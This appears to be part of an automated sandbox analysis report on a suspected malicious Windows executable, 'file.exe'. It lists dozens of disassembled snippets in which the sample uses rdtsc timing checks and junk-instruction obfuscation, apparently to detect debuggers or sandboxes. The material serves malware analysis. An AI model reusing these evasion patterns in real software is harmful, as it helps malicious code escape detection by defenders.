Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13710BE second address: 13710E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F256CF66DDCh 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F256CF66DE5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137473B second address: 137475A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F256CC76B66h 0x0000000a popad 0x0000000b jp 00007F256CC76B68h 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jc 00007F256CC76B6Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137475A second address: 137475E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137475E second address: 137477A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F256CC76B78h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1374D06 second address: 1374D11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1374D11 second address: 1374D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F256CC76B68h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 mov bx, FB74h 0x00000027 push 00000000h 0x00000029 mov ebx, esi 0x0000002b push 00000000h 0x0000002d jmp 00007F256CC76B6Ah 0x00000032 xchg eax, esi 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F256CC76B71h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1374D64 second address: 1374D7F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1374D7F second address: 1374D85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375BBA second address: 1375BBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375CB2 second address: 1375CB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376B29 second address: 1376B44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1376B44 second address: 1376B48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1375E3F second address: 1375ECB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c and edi, 5E5E9865h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007F256CF66DD8h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a mov edi, dword ptr [ebp+122D2C33h] 0x00000040 mov edi, edx 0x00000042 mov eax, dword ptr [ebp+122D0331h] 0x00000048 mov edi, 6A42C400h 0x0000004d mov bl, 41h 0x0000004f push FFFFFFFFh 0x00000051 mov ebx, dword ptr [ebp+122D3832h] 0x00000057 nop 0x00000058 push edx 0x00000059 push esi 0x0000005a pushad 0x0000005b popad 0x0000005c pop esi 0x0000005d pop edx 0x0000005e push eax 0x0000005f pushad 0x00000060 push edi 0x00000061 jmp 00007F256CF66DE8h 0x00000066 pop edi 0x00000067 push esi 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1378CBF second address: 1378CC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1378CC9 second address: 1378D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F256CF66DD8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov bl, 21h 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b sub dword ptr [ebp+122D2F4Bh], ecx 0x00000031 jmp 00007F256CF66DDFh 0x00000036 xchg eax, esi 0x00000037 push eax 0x00000038 push edx 0x00000039 push edi 0x0000003a jc 00007F256CF66DD6h 0x00000040 pop edi 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1378D1E second address: 1378D3D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F256CC76B6Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d je 00007F256CC76B6Ch 0x00000013 jng 00007F256CC76B66h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137AD01 second address: 137AD06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137AD06 second address: 137AD1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F256CC76B66h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137CDF1 second address: 137CE09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F256CF66DDBh 0x0000000c pushad 0x0000000d push eax 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D3B1 second address: 137D3C5 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F256CC76B66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnp 00007F256CC76B6Eh 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137D3C5 second address: 137D427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 nop 0x00000006 push edi 0x00000007 sub dword ptr [ebp+122D271Fh], ecx 0x0000000d pop ebx 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007F256CF66DD8h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 00000016h 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push eax 0x0000002f call 00007F256CF66DD8h 0x00000034 pop eax 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 add dword ptr [esp+04h], 00000017h 0x00000041 inc eax 0x00000042 push eax 0x00000043 ret 0x00000044 pop eax 0x00000045 ret 0x00000046 mov edi, dword ptr [ebp+122D3902h] 0x0000004c or dword ptr [ebp+12473170h], ecx 0x00000052 xchg eax, esi 0x00000053 push eax 0x00000054 push edx 0x00000055 push edx 0x00000056 pushad 0x00000057 popad 0x00000058 pop edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137F504 second address: 137F567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push esi 0x00000008 jmp 00007F256CC76B6Dh 0x0000000d pop esi 0x0000000e popad 0x0000000f nop 0x00000010 mov bx, A677h 0x00000014 push edx 0x00000015 mov bx, 3933h 0x00000019 pop ebx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007F256CC76B68h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 0000001Dh 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 mov edi, dword ptr [ebp+122D2A0Ah] 0x0000003c mov ebx, dword ptr [ebp+12462799h] 0x00000042 push 00000000h 0x00000044 mov ebx, dword ptr [ebp+1244C3E4h] 0x0000004a push eax 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1380410 second address: 138045D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D32FFh], eax 0x00000010 push edx 0x00000011 jmp 00007F256CF66DE5h 0x00000016 pop edi 0x00000017 push 00000000h 0x00000019 je 00007F256CF66DDAh 0x0000001f mov di, A34Bh 0x00000023 push 00000000h 0x00000025 mov bh, F4h 0x00000027 mov edi, dword ptr [ebp+122D2A03h] 0x0000002d xchg eax, esi 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138045D second address: 138046B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138046B second address: 138046F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138046F second address: 1380475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1380475 second address: 1380483 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F256CF66DDAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1382481 second address: 138248C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F256CC76B66h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138256F second address: 1382579 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F256CF66DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137F75E second address: 137F764 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137F764 second address: 137F768 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137F768 second address: 137F776 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138342C second address: 1383430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13826DC second address: 13826E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13826E4 second address: 13826EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138441E second address: 1384489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F256CC76B66h 0x0000000a popad 0x0000000b pop esi 0x0000000c mov dword ptr [esp], eax 0x0000000f mov dword ptr [ebp+122D2860h], ecx 0x00000015 mov dword ptr [ebp+122D1820h], ecx 0x0000001b push 00000000h 0x0000001d sub dword ptr [ebp+122D31E4h], edi 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push eax 0x00000028 call 00007F256CC76B68h 0x0000002d pop eax 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 add dword ptr [esp+04h], 00000016h 0x0000003a inc eax 0x0000003b push eax 0x0000003c ret 0x0000003d pop eax 0x0000003e ret 0x0000003f movzx edi, si 0x00000042 xchg eax, esi 0x00000043 jl 00007F256CC76B7Eh 0x00000049 jmp 00007F256CC76B78h 0x0000004e push eax 0x0000004f push esi 0x00000050 push eax 0x00000051 push edx 0x00000052 push eax 0x00000053 push edx 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1384489 second address: 138448D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138448D second address: 1384491 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138369B second address: 13836A5 instructions: 0x00000000 rdtsc 0x00000002 je 00007F256CF66DDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13854C1 second address: 1385543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop ebx 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F256CC76B68h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000016h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D3722h], ecx 0x0000002b mov bx, dx 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D2F7Ch], ebx 0x00000036 push 00000000h 0x00000038 push 00000000h 0x0000003a push ebp 0x0000003b call 00007F256CC76B68h 0x00000040 pop ebp 0x00000041 mov dword ptr [esp+04h], ebp 0x00000045 add dword ptr [esp+04h], 00000015h 0x0000004d inc ebp 0x0000004e push ebp 0x0000004f ret 0x00000050 pop ebp 0x00000051 ret 0x00000052 jmp 00007F256CC76B77h 0x00000057 movsx ebx, dx 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jnl 00007F256CC76B6Ch 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1385543 second address: 1385549 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1385549 second address: 138554D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13856D1 second address: 13856D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13856D5 second address: 1385745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 nop 0x00000008 push dword ptr fs:[00000000h] 0x0000000f jnl 00007F256CC76B6Ch 0x00000015 mov dword ptr [ebp+122D3097h], esi 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 mov bx, B011h 0x00000026 mov eax, dword ptr [ebp+122D033Dh] 0x0000002c push 00000000h 0x0000002e push esi 0x0000002f call 00007F256CC76B68h 0x00000034 pop esi 0x00000035 mov dword ptr [esp+04h], esi 0x00000039 add dword ptr [esp+04h], 00000015h 0x00000041 inc esi 0x00000042 push esi 0x00000043 ret 0x00000044 pop esi 0x00000045 ret 0x00000046 mov dword ptr [ebp+122D186Ah], esi 0x0000004c mov ebx, dword ptr [ebp+122D36F7h] 0x00000052 push FFFFFFFFh 0x00000054 mov edi, dword ptr [ebp+122D38E2h] 0x0000005a push eax 0x0000005b push eax 0x0000005c push edx 0x0000005d jmp 00007F256CC76B70h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138ABD0 second address: 138ABD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138B60E second address: 138B628 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F256CC76B70h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138B628 second address: 138B632 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F256CF66DD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138EC32 second address: 138EC38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138E3C1 second address: 138E3DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DE8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138E3DD second address: 138E3E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138E3E3 second address: 138E3E8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138E6AD second address: 138E6C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 jmp 00007F256CC76B6Ch 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138E813 second address: 138E83C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F256CF66DE3h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394E50 second address: 1394E5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394E5D second address: 1394E61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394E61 second address: 1394E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b je 00007F256CC76B6Ah 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394E7C second address: 1394E96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 jmp 00007F256CF66DDAh 0x0000000b pop eax 0x0000000c popad 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B3BB second address: 132B3F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F256CC76B66h 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F256CC76B71h 0x00000010 jnp 00007F256CC76B66h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F256CC76B70h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132B3F2 second address: 132B40B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F256CF66DDFh 0x00000009 jc 00007F256CF66DD6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1398579 second address: 1398595 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F256CC76B66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F256CC76B6Ch 0x00000011 push esi 0x00000012 pushad 0x00000013 popad 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1398595 second address: 13985B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jp 00007F256CF66DD6h 0x0000000b jmp 00007F256CF66DDFh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1398C6E second address: 1398C90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F256CC76B74h 0x00000009 pop edx 0x0000000a pushad 0x0000000b jg 00007F256CC76B66h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1398C90 second address: 1398C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1398FA9 second address: 1398FAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13993D9 second address: 13993F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F256CF66DE2h 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13993F9 second address: 1399401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1399401 second address: 1399409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1399569 second address: 1399597 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c je 00007F256CC76B66h 0x00000012 jnl 00007F256CC76B66h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1399597 second address: 13995A7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F256CF66DD6h 0x00000008 jne 00007F256CF66DD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13995A7 second address: 13995C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F256CC76B72h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1399733 second address: 1399761 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CF66DE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F256CF66DE2h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1372E42 second address: 1372E56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F256CC76B70h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
